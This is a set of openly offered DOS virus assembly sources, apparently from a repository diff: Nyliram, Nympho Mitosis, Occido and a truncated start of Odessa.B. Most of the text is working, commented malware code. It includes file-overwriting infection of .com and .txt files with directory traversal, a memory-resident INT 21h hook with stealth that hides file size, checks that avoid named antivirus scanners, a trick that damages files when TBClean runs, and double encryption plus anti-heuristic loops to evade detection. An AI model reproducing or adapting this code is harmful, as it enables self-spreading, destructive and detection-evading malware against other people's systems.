; Nyliram v1.0 coded by KilJaeden of The Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nyliram.asm ;
; to link :::::] tlink /t nyliram.obj ;
; --------------------------------------------------------------------------;
code segment ; segment named code
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; .com file 100 hex
main proc near ; main procedure near
first_com:
mov ah,4eh ; find the first file
find_first_com:
xor cx,cx ; cx to 0
lea dx,comfile ; load *.com into dx
int 21h ; make it so DOS!
jc first_txt ; if no .com found, find .txt
open_com:
mov ax,3d02h ; open file with read/write
mov dx,9eh ; get file name from DTA (80+1e)
int 21h ; make it so DOS!
infect_com:
xchg bx,ax ; move file info from ax to bx
mov ah,40h ; write to file
mov cx,offset finish - offset first_com ; replace with
lea dx,first_com ; load effective address
int 21h ; make it so DOS!
close_com:
mov ah,3eh ; close the file
int 21h ; make it so DOS!
mov ah,4fh ; find next file
jmp find_first_com ; jump to find_first_com
first_txt:
mov ah,4eh ; find first file
find_first_txt:
xor cx,cx ; cx to 0
lea dx,txtfile ; load effective address *.txt
int 21h ; make it so DOS!
jc next_dir ; if none found, leave
open_txt:
mov ax,3d02h ; open file with read/write
mov dx,9eh ; get file name info
int 21h ; make it so DOS!
infect_txt:
xchg bx,ax ; put file info into bx
mov ah,40h ; write to file
mov cx,offset pload_finish - offset pload_start ; replace with
lea dx,pload_start ; load effective address
int 21h ; make it so DOS!
close_txt:
mov ah,3eh ; close up the file
int 21h ; make it so DOS!
mov ah,4fh ; find next file
jmp find_first_txt ; jump to start again
next_dir:
lea dx,dotdot ; load .. into dx
mov ah,3bh ; the int for changing directories
int 21h ; make it so!
jnc first_com ; jump to first com, start again!
end_virus:
mov ah,09h ; print a message
mov dx,offset done ; the message
int 21h ; make it so DOS!
int 20h ; end the program
pload_start:
db 'There''s not much left to love',10 ; payload in txt
db 'Too tired today to hate',10 ; payload in txt
db 'I feel the minute of decay',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'I''d like to take you with me',10 ; payload in txt
db 'I''m on my way down...',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'I''d like to take you with me',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'The minute that it''s born',10 ; payload in txt
db 'It begins to die',10 ; payload in txt
db 'I''d love to just give in',10 ; payload in txt
db 'I''d love to live this lie',10 ; payload in txt
db 'I''ve been to black and back',10 ; payload in txt
db 'I''ve whited out my name',10 ; payload in txt
db 'A lack of pain, a lack of hope',10 ; payload in txt
db 'A lack of anything to say',10 ; payload in txt
db 'There is no cure for what is killing me',10 ; payload in txt
db 'I''m on my way down',10 ; payload in txt
db 'I''ve looked ahead and saw',10 ; payload in txt
db 'A world that''s dead',10 ; payload in txt
db 'I guess that I am too',10 ; payload in txt
db ' ',10 ; payload in txt
db 'I''m On My Way Down Now',10 ; payload in txt
pload_finish label near ; the end label
data_area:
dotdot db "..",0
comfile db "*.com",0
txtfile db "*.txt",0
done db ' ',10,13
db '***********************************************************',10,13
db 'You have infected all .com .txt files from this directory ',10,13
db 'to the root directory with the Nyliram virus, written by: ',10,13
db ' KilJaeden of the Codebreakers ''98 ',10,13
db '***********************************************************',10,13,'$'
finish label near
main endp
code ends
end first_com

View File

@ -0,0 +1,492 @@
.model tiny ;_ASSUME CS=DS=ES=SS
.code ;/
org 100h ;Origin @ 100h (COM File)
;
start: ;Marks Start of Source
v_start: ;Marks Start of Virus
mov bp,000h ;<Ä¿ Constantly ;** Get Rid of TBAV's
delta equ $-002h ;<ÄÙ Changing ;** Flexible Entry Point
;
push ds es ;Save Segments onto Stack
;
mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT
int 021h ;DOS Services
;
cmp ax,003Dh ;Is the Virus Resident?
je restoreCOMEXEfile ;Jump if Equal/Zero
;
cwd ;Load Register w/Zero
mov ds,dx ;DS=>Starting of INT Table
xchg di,dx ;Load Register w/Zero
;
lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX
mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset
mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment
;
mov ax,es ;ES=PSP=AX
dec ax ;Decrement for Last MCB
mov ds,ax ;AX=Last MCB=DS
;
cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain?
jne restoreCOMEXEfile ;Jump if Not Equal/Zero
;
mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last
sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
;
mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB
;
mov ds,ax ;DS=Location of Virus MCB
inc ax ;Increment for Mem Loc
mov es,ax ;AX=Memory Location=ES
;
mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain
mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB
mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
;
push cs ;Push Segment onto Stack
pop ds ;Restore into DS (CS=DS)
;
cld ;Clear Direction Flag
mov di,100h ;DI=Location in Memory
lea si,[bp+v_start] ;SI=Source of Data
mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes
rep movsw ;Word @ DS:[SI]=>ES:[DI]
;
mov ds,cx ;CX=000h=DS=Int Table
;
cli ;Turn OFF Interrupts
mov word ptr ds:[084h],offset Int21Handler
mov word ptr ds:[086h],es ;Location in Memory
sti ;Turn ON Interrupts
;
restoreCOMEXEfile: ;
pop es ds ;Restore Segments
;
mov ax,5A4Dh ;AX=5A4Dh (MZ)
lea si,cs:[bp+host_bytes] ;SI=Host_Bytes
;
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
je restoreEXEfile ;Jump if Equal/Zero
;
xchg ah,al ;Exchange Registers (ZM)
;
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
je restoreEXEfile ;Jump if Equal/Zero
;
restoreCOMfile: ;
mov di,0FFh ;DI=Location in Memory
inc di ;Increment for Real Loc
push di ;Push DI onto Stack
mov byte ptr [di],0C3h ;** Here, we screw up
;** the file _if_ TBClean
call di ;** is being run.
;** Thanks LM!
movsw ;Word @ DS:[SI]=>ES:[DI]
movsb ;Byte @ DS:[SI]=>ES:[DI]
;
retn ;Return to Host Program
;
restoreEXEfile: ;
mov ax,es ;ES=PSP=AX
;
add ax,010h ;Skip One Segment for CS
add ax,word ptr cs:[si+016h] ;Calculate Start of Prog
;
push ax ;Push New CS to Stack
push word ptr cs:[si+014h] ;Push IP to Stack
;
retf ;Return to Host Program
;
db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus
db "Copyright (c) 1993 Memory Lapse",000h
;
Int21Handler: ;
cmp ax,5D3Dh ;Is Virus Checking?
jne check_execute ;Jump if Not Equal/Zero
;
cbw ;Convert AL to AX
;
iret ;Interrupt Return
;
check_execute: ;
cmp ah,011h ;Are We Doing a DIR?
je _FCBStealth ;Jump if Equal/Zero
; (DOS)
cmp ah,012h ;Are We Doing a DIR?
je _FCBStealth ;Jump if Equal/Zero
; (DOS)
cmp ah,04Eh ;Are We Doing a DIR?
je _DTAStealth ;Jump if Equal/Zero
; (4DOS)
cmp ah,04Fh ;Are We Doing a DIR?
je _DTAStealth ;Jump if Equal/Zero
; (4DOS)
push ax bx cx dx di si ds es ;Push Registers onto Stack
;
cmp ax,6C00h ;Are We Extended Opening?
je __disinfectCOMEXEfile ;Jump if Equal/Zero
;
cmp ah,03Dh ;Are We Opening?
je _disinfectCOMEXEfile ;Jump if Equal/Zero
;
dec ax ;** Get Rid of TBAV's
;** Traps Loading of SW.
cmp ax,4AFFh ;Are We Executing?
je _infectCOMEXEfile ;Jump if Equal/Zero
;
_Interrupt21h: ;
pop es ds si di dx cx bx ax ;Restore Registers
;
Interrupt21h: ;
db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO
;
Int21hOffset equ $-004h ;Buffer for Int 21 Offset
Int21hSegment equ $-002h ;Buffer for Int 21 Segment
;
_FCBStealth: ;
jmp FCBStealth ;Unconditional Jump
;
_DTAStealth: ;
jmp DTAStealth ;Unconditional Jump
;
_infectCOMEXEfile: ;
jmp infectCOMEXEfile ;Unconditional Jump
;
__disinfectCOMEXEfile: ;
xchg dx,si ;SI=File Name=>DX
;
_disinfectCOMEXEfile: ;
jmp disinfectCOMEXEfile ;Unconditional Jump
;
FCBStealth: ;
pushf ;Push Flags to Top of Stck
push cs ;Push Segment onto Stack
call Interrupt21h ;Simulate Interrupt
;
test al,al ;Was There an Error?
jnz endFCBstealth ;Jump if Not Equal/Zero
;
push es dx cx bx ax ;Push Registers onto Stack
;
mov ah,051h ;AH=51h / GET PSP ADDRESS
int 021h ;DOS Services
;
mov es,bx ;BX=Address=ES
;
cmp bx,word ptr es:[016h] ;Is This a Parent PSP?
jne restoreFCBregisters ;Jump if Not Equal/Zero
;
mov bx,dx ;DX=BX
mov al,[bx] ;Get First Byte of FCB
;
push ax ;Save Byte onto Stack
;
mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS
int 021h ;DOS Services
;
pop ax ;Restore AX
;
inc al ;Is This an Extended FCB?
jnz checkFCBinfected ;Jump if Not Equal/Zero
;
add bx,007h ;Convert to Normal FCB
;
checkFCBinfected: ;
mov cx,word ptr es:[bx+017h] ;CX=Time
mov dx,word ptr es:[bx+019h] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz restoreFCBregisters ;Jump if Not Equal/Zero
;
sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow
;
restoreFCBregisters: ;
pop ax bx cx dx es ;Restore Registers
;
endFCBstealth: ;
iret ;Interrupt Return
;
DTAStealth: ;
pushf ;Push Flags to Top of Stck
push cs ;Push Segment onto Stack
call Interrupt21h ;Simulate Interrupt
;
jc endDTAstealth ;Jump if Carry Flag Set
;
push es dx cx bx ax ;Save Registers onto Stack
;
mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS
int 021h ;DOS Services
;
mov cx,word ptr es:[bx+016h] ;CX=Time
mov dx,word ptr es:[bx+018h] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz restoreDTAregisters ;Jump if Not Equal/Zero
;
sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow
;
restoreDTAregisters: ;
pop ax bx cx dx es ;Restore Registers
;
endDTAstealth: ;
retf 002h ;Return Far (POP 2 WORDS)
;
disinfectCOMEXEfile: ;
call OpenAndGetSFT ;Call Procedure
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz disinfect_close ;Jump if Not Equal/Zero
;
call LSeek ;Move File Pointer to End
;
xchg cx,dx ;Exchange Register Values
xchg dx,ax ;Exchange Register Values
;
push dx cx ;Save File Size to Stack
;
sub dx,018h ;Subtract 18 for Host_Byte
sbb cx,000h ;Subtract if Borrow
;
mov word ptr es:[di+015h],dx ;Move File Pointer to
mov word ptr es:[di+017h],cx ;Starting of Host_Bytes
;
mov dx,offset temp_buffer ;DX=Buffer for Data
mov cx,018h ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
pop cx dx ;Restore File Size
;
sub dx,(v_end-v_start) ;Subtract Virus Size
sbb cx,000h ;Subtract if Borrow
;
mov word ptr es:[di+015h],dx ;Move File Pointer to
mov word ptr es:[di+017h],cx ;Starting of Virus
;
sub cx,cx ;Load Register w/Zero
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
and cl,0E0h ;Unmask Seconds Field
or cl,008h ;Set Seconds to 016d
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
jmp preCLOSECOMEXEfile ;Unconditional Jump
;
disinfect_close: ;
jmp closeCOMEXEfile ;Unconditional Jump
;
infectCOMEXEfile: ;
call OpenAndGetSFT ;Call Procedure
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jz _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'LC' ;Could it Be Clean?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
mov dx,offset host_bytes ;DX=Buffer for Data
mov cx,018h ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
mov si,offset temp_buffer ;SI=Temp_buffer
;
mov ax,4D5Ah ;** Get Rid of TBAV's
;** EXE/COM Determination
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
je infectEXEfile ;Jump if Equal/Zero
;
xchg ah,al ;Exchange Registers (MZ)
;
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
je infectEXEfile ;Jump if Equal/Zero
;
infectCOMfile: ;
call LSeek ;Move File Pointer to End
;
mov word ptr [delta],ax ;Write New Delta Offset
;
sub ax,003h ;Subtract 03 for JMP Loc
mov byte ptr [si+000h],0E9h ;Write JMP to Buffer
mov word ptr [si+001h],ax ;Write JMP Loc to Buffer
;
mov cx,003h ;CX=Number of Bytes
push cx ;Push Register onto Stack
;
jmp continueCOMEXEinfect ;Unconditional Jump
;
_closeCOMEXEfile: ;
jmp closeCOMEXEfile ;Unconditional Jump
;
infectEXEfile: ;
mov dx,si ;DX=Buffer for Data
push cx ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
call LSeek ;Move File Pointer to End
;
push dx ax ;Push File Size onto Stack
;
add ax,(v_end-v_start) ;Add Virus Size to Low Bit
adc dx,000h ;Add if Carry to High Bit
;
mov cx,200h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
or dx,dx ;Do We Need to Round Up?
je no_burp ;Jump if Equal/Zero
;
inc ax ;Increment AX
;
no_burp: ;
mov word ptr [si+004h],ax ;New Length of File ö 512
mov word ptr [si+002h],dx ;New # of Bytes in Last Pg
;
pop ax dx ;Restore File Size
;
mov cx,010h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
sub ax,word ptr [si+008h] ;Subtact Header Size
;
mov word ptr [si+016h],ax ;CS=Segment of Virus
mov word ptr [si+014h],dx ;IP=Location of Virus
;
sub dx,100h ;Subtract 100h for Offset
mov word ptr [delta],dx ;Write New Delta Offset
;
continueCOMEXEinfect: ;
mov dx,offset v_start ;DX=Location of Data
mov cx,(v_end-v_start) ;CX=Number of Bytes
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
xchg dx,si ;DX=Location of Data
pop cx ;CX=Number of Bytes
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
push dx ;Push Date Stamp to Stack
;
and cx,-020h ;Reset Seconds
and dx,01Fh ;Unmask Day Field
;
or cx,dx ;Move Day into Seconds
;
pop dx ;Restore Date
;
preCLOSECOMEXEfile: ;
mov ax,5701h ;AX=5701h / SET T/D STAMPS
int 021h ;DOS Services
;
closeCOMEXEfile: ;
mov ah,03Eh ;AH=3Eh / CLOSE File
int 021h ;DOS Services
;
jmp _Interrupt21h ;Unconditional Jump
;
OpenAndGetSFT: ;
mov ax,3D00h ;AX=3D00h / OPEN R/O
pushf ;Push Flags to Top of Stck
push cs ;Push Segment to Stack
call Interrupt21h ;Simulate Interrupt
;
xchg ax,bx ;Move File Handle to BX
;
push bx cs cs ;Push Registers to Stack
pop es ds ;Equal Out Segments
;
mov ax,1220h ;AX=1220h / GET JFT
int 02Fh ;Multiplex Interrupt
;
mov ax,1216h ;AX=1216h / GET SFT
mov bl,byte ptr es:[di] ;Move Byte into BL
int 02Fh ;Multiplex Interrupt
;
pop bx ;Restore File Handle
;
mov word ptr es:[di+002h],002h ;Open in Read/Write Mode
;
retn ;Return to Point of Call
;
LSeek: push ds ;Push Segment onto Stack
;
lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX
mov word ptr es:[di+015h],ax ;Move File Pointer to
mov word ptr es:[di+017h],ds ;End of File. (SFT)
mov dx,ds ;Move High Bit to DX
;
pop ds ;Restore Segment to DS
;
retn ;Return to Point of Call
;
host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE
dw 002h ;# of Bytes @ Last Page
dw 004h ;# of Pages + Header Size
dw 006h ;# of Relocatable Entries
dw 008h ;Size of Header (Paras)
dw 00Ah ;Min. Memory Required
dw 00Ch ;Max. Memory Wanted
dw 00Eh ;SS Value at Entry
dw 010h ;SP Value at Entry
dw 012h ;Negative Checksum
dw 014h ;IP Value at Entry
dw 016h ;CS Value at Entry
;
v_end: ;Marks End of Virus
heap_start: ;Marks Start of Heap
;
temp_buffer db 018h dup (?) ;Multipurpose Buffer
;
heap_end: ;Marks End of Heap
;
end start ;Marks End of Source

View File

@ -0,0 +1,285 @@
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
; TYPE: Appending
; ENCRYPTION: Yes ( Double )
; INFECTS: COM
; RESIDENT: No
; STEALTH: No
; DT: No ( Directory Transversal )
; REPAIRABLE: Yes
; PAYLOAD: No
; SIZE: 328 bytes
; AUTHOR: The Virus Elf
; Appends itself to files while encrypting itself with two different
; encryption routines. Only infects 5 files per run of an infected file.
; After infecting 5 files, or all in current directory, it will hide itself
; before closing. I just felt like doing it for more fun. If a person were
; to pause a running program and do a mem dump, the virus would not show up
; because it hides itself before returning control to the running progge.
start:
jmp Virus_start ; Jumps to the start of the virus. This
; will change as the virus is appended to
; different size files.
Virus_start:
call Delta ; Now we have to get the delta offset. By
; calling Delta we push the address of 'pop bp'
; onto the stack.
Delta:
pop bp ; Put the address into BP so it can be used.
sub bp,offset delta ; Now this takes the distance that Delta is now
; now (BP) and subtracts where it started
; (Offset Delta). Understand?? Hopefully you do!
; Because most files are different sizes, and this
; virus just attaches itself to the end we have
; to find out where it is before it can do anything.
Skip:
jmp DHidden ; We have to skip the decrypt part on the first run
Decrypt:
; Give length of area to decrypt to CX
;mov cx,cryptie-hidden ; This is written later to keep correct file size
; and offsets. It overwrites the 'jmp hidden'.
lea di,[bp+hidden] ; Start of area to decrypt
mov si,di ; its also the destination for decrypted part
call Cryptie ; Decrypts the virus from here to the decryption
; routine.
Hidden: ; Only encrypted once, because this is the decrypt
; call for the second layer.
lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of
; encryption into DI
mov si,di ; Then SI
mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
mov dl,03h ; Decryption code value
call DCryptie ; Boom! Decrypts the second layer
DHidden: ; Area that is hidden with Double encryption
; Here we will write the saved bytes from the beggining of the file, back
; to where they belong, so that we may run the file as normal, after we
; infect some more files of course :)
lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale
; that would be changed depending on infected file
; size. We just add our Delta offset to find out
; its exact location.
lea di,100h ; We are gonna write the saved bytes to the start
; so we run the program as normal after we infect
; some files.
mov cx,03h ; The number of bytes we have to write back to start
rep movsb ; Quickly restores the file so we can run it after
; we get through here.
lea si,[bp+frstbytes] ; We have to save these over the jmp
; so that later we can just copy Virus to mem
lea di,[bp+Skip] ; Where the skip instruction is
; We are gonna over write it with the Frstbytes
mov cx,03h ; Length of area
rep movsb ; Does the job
push 00h ; Pushes the 0 value to stack, this will keep
; a count of the files infected during each run.
mov ax,4E00h ; Function 4Eh: Find First
Findnext: ; Findnext jmp point
lea dx,[bp+filemask] ; Gets the filemask = '*.com',0
xor cx,cx ; No attributues in this search
int 21h ; Tells DOS to find the *.com files
jnc Open ; Found one, now open it!
jmp Badstuff ; NONE left, do some other stuff
Open: ; Open/Encrypt/Infect routines
mov ax,3D02h ; Function 3D: Open File
; 02 = Read/Write access
mov dx,9Eh ; Location of ASCIZ filename
int 21h ; Calls DOS to open the file, with Read/Write access
; so that we can write the virus to it :)
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
mov ah,3Fh ; Function 3Fh: Read from file
mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes
; to read from file.
lea dx,[bp+saved] ; The location for the bytes to be stored when read.
int 21h ; Calls DOS to load the first 3 bytes of Victem file
; into the 'Saved' location so that it may run correctly.
mov al,0E9h ; Checks to see if it was a jump instruction
cmp al,[bp+saved] ; by matching E9h to the first byte of the file.
jne Uninfected ; It can't be infected by this virus because the file
; has NO jmp at its beggining. If it does have a jmp
; but not from this program it could be from another
; virus, and double infecting can cause trouble.
jmp Infected
Uninfected:
mov ax,[80h+1Ah] ; Gets the filesize of the target file
sub ax,03h ; Takes into account the length of the JMP instruction
mov [bp+jumpto],ax ; Puts the location to jmp to as the
; 2nd,3rd bytes of the buffer.
mov ax,4200h ; Function 42h: Move File Pointer
; 00h = beggining, after the read the FP moves 3 bytes
xor cx,cx ; 0 = CX
xor dx,dx ; 0 = DX
int 21h ; Calls DOS, this is explained a bit more with the
; next "Move File Pointer" instruction
mov ah,40h ; Function 40h: Write to file
mov cx,03 ; Number of bytes to write. CX = # of bytes
lea dx,[bp+jumping]; Start at buffer area, this will write the jump
; instruction to the beggining of the victem file.
int 21h ; Blammo! This is the jmp that skips over the normal
; file and heads write to the virus code. INT 21h tells
; DOS to write those three bytes.
mov ax,4202h ; Function 42h: Move File pointer
; 02 = End of file ( EOF )
xor cx,cx ; DX:CX is the offset from the File pointer location,
xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX
int 21h ; Calls DOS to move the file pointer
; Write the Virus to memory
VirL EQU Ende-Virus_Start
; Length of Virus except jmp at beggining
lea si,[bp+Virus_Start] ; Start of virus
lea di,[bp+buffer] ; Area that it will be stored in mem
mov cx,VirL ; Length of it
rep movsb
; Now we have to modify it so that it is encrypted
DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will
; end up double encrypted.
HiddenL EQU Cryptie-Hidden ; Length of single encrypt area
DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer
HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer
; More ways to clear up the clutter
; Here we encrypt All but the second and first Decrypt calls, and the
; decryption routines that go with em.
lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then
mov di,si ; be encrypted again, giving us our Doubly Encrypted
; area.
mov cx,DHiddenL ; Length of this area
mov dl,05h ; Encryption value
call DCryptie ; Calls the Second Encryption routine
; because this will become decrypted by the first
; when infected files are run.
; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
; DCryptie for the second time ) which makes this double encrypting.
lea si,[bp+HBufStart] ; Start of Hidden area in buffer
mov di,si ; You should know this one by now.
mov cx,HiddenL ; Length of the area
call Cryptie ; Uhoh, now its encrypted and the AV software won't
; find it. Now what are we gonna do?
; ( Being sarcastic of course! )
; So we have the virus prepared for infecting :)
mov ah,40h ; Function 40h: Write to file ( everyone's fave )
lea dx,[bp+buffer] ; Start of virus in mem buffer
mov cx,VirL ; Length of it
int 21h ; Calls DOS to write this :)
pop cx ; This is gonna be the infected file count.
inc cx ; We must have found and infected one if we are here so
; makes sure it gets added to the total.
push cx ; Saves it so we can check again after the next file
; is found.
Infected: ; A place to jump in case the file is already infected
mov ah,3Eh ; Function 3Eh: Close File
int 21h ; Calls DOS to close up the file.
pop cx
push cx
cmp cl,05h ; Check to see if 5 files have been infected.
je BadStuff
mov ax,4F00h ; Function 4Fh: Find next
jmp Findnext
Badstuff: ; Here is where the payload goes
exit:
; Now we are gonna get outta here, first we should cover up any stuff
; that might show up in a mem dump, so that if anyone looks, all they
; see is garbage.
lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
; everything but the encryption itself. ( and the
; kitchen sink, of course )
mov si,di ; and put it into DI/SI so we can hide the virus
; from the host program.
mov cx,cryptie-Virus_start ; Gives length of area to hide into CX
call cryptie ; Calls the encryption loop to hide it
; Jumps to the start of the actual program.
;push 100h ; This is encrypted because the call to cryptie
;ret ; will decrypt it and it will be the only thing
db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but
; they are not very easily recognizable as virus
; code. )
Frstbytes:
mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the
; decrypt routines on the first run.
saved db 0CDh,020h,0h ; This is the storage space for the first
; three bytes from the infected file. CD20 is
; the 'int 20h' instruction used to exit.
jumping db 0E9h ; E9 = jmp
jumpto db 0,0 ; Place for the new address
filemask db '*.com',0 ; The type of files we are gonna infect.
message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info
DCryptie:
lodsb ; Gets next byte Doomed for De/Encryption
xchg dx,cx ; Saves the count while using the DE/ENcrypt value
; Uses 3 to decrypt and 5 to encrypt
rol al,cl ; Rotates those bits by CL
not al ; Opposite bits
neg al ; One's complement bits
not al ; More opposite bits
xor al,0C4h ; XORs the value
not al ; See above
neg al ; " "
not al ; " "
rol al,cl ; " "
xchg cx,dx ; Returns the count value to CX
stosb ; Puts the encrypted byte into mem
loop DCryptie ; Does all the bytes specified by CX
ret ; Jumps back to the caller
Cryptie:
lodsb ; Gets the next byte to De/Encrypt
ror al,04h ; Rotates the bits 4 places
xor al,0C4h ; Does a little XORing
not al ; Gets the opposite bits
neg al ; Gets the one's complement bits
not al ; Gets the opposite bis again
xor al,0C4h ; More XORing
ror al,04h ; Rotates the bits Back 4 places
stosb ; Plugs AL back into mem
loop Cryptie ; Does all the bytes specified by CX
ret ; Jumps back to where it was called
buffer:
ende:

View File

@ -0,0 +1,409 @@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Odessa.B virus
; (C) Opic [CodeBreakers '98]
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Odessa.B variant is a continuation of Odessa (aka opic.727)
;
;Odessa.B's NEW features:
;
;-Odessa.B will NOW infect .Exe files present on any floppy disks
; undetectably (due to a critical error handler). It does so after
; the current HDD is infected. When Odessa.B is present on a floppy
; disk it will move imediatly to the HDD to insure infection of new systems.
;Thus making it a viable floppy born virus (one of the few outside of the
;BS/MBR families)
;
;-an expanded encryption loop
;
;-some minor bug fixes, and optimisations.
;
;Infected files grow approximatly: 745 bytes
;
;Old features:
;
;-Exe file infector
;-directory transversal via dotdot
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
;-some anti-emulation
;-payload criteria: the virus will activate its payload on
; either the 13th or the 6th of any given month provided the seconds
; are below 30.
;
;-payload: when activated the virus will beep 6 times before the
; infected file is run. I choose this more subtle payload because
;it is easily missed, and only creates a bit of curiosity at most.
;which is a good aspect since the fact that all infected files will
;try to access the floppy drive before running also brings some curious.
;Its also somewhat humerous because the telltale signs of this virus
;are also what many non-computer literate people constantly write to
;AVers about complaining of (to which the AVs constant reply is:
;false alarm. There is a signature line:
;Odessa.B (c) Opic [Codebreakers 1998]
;I have left for the AV to rename for me, as it is never displayed
;(hell i figure their gonna anyways :P ).
;
;detected: Not detected by TBAV as second gen.
;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Exe_Infector Segment
Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
jumps
start: ;set registers up
dec cx ;lame loop
noav1:
jmp noav2
mov ax,4c00h
int 21h
noav2:
loop noav1 ;end of antiheur
push ds
push es
push cs
push cs
pop ds
pop es
Call delta
delta: ;delta offset
pop bp
sub bp,offset delta
lea si,[bp+Begin_Virus]
mov di,si
mov cx,End_Virus-Begin_Virus
call encrypt
jmp Begin
encrypt:
lodsb
NEG al ;<-------------13
ROR al,4 ;<------------12
NOT al ;<-----------11
ROR al,4 ;<----------10
NOT al ;<---------9
NEG al ;<--------8
ROL al,4 ;<-------7
NOT al ;<------6
ROL al,4 ;<-----5
NOT al ;<----4
ROR al,4 ;<---3
NEG al ;<--2
NOT al ;<-1
ROR al,4 ;<0 this huge loop may
NOT al ;<-1 look silly but it
NEG al ;<--2 kills alot of AV
ROR al,4 ;<---3 scanners due becuz
NOT al ;<----4 they think it is
ROL al,4 ;<-----5 endless
NOT al ;<------6
ROL al,4 ;<-------7
NEG al ;<--------8
NOT al ;<---------9
ROR al,4 ;<----------10
NOT al ;<-----------11
ROR al,4 ;<------------12
NEG al ;<-------------13
stosb
loop encrypt
ret
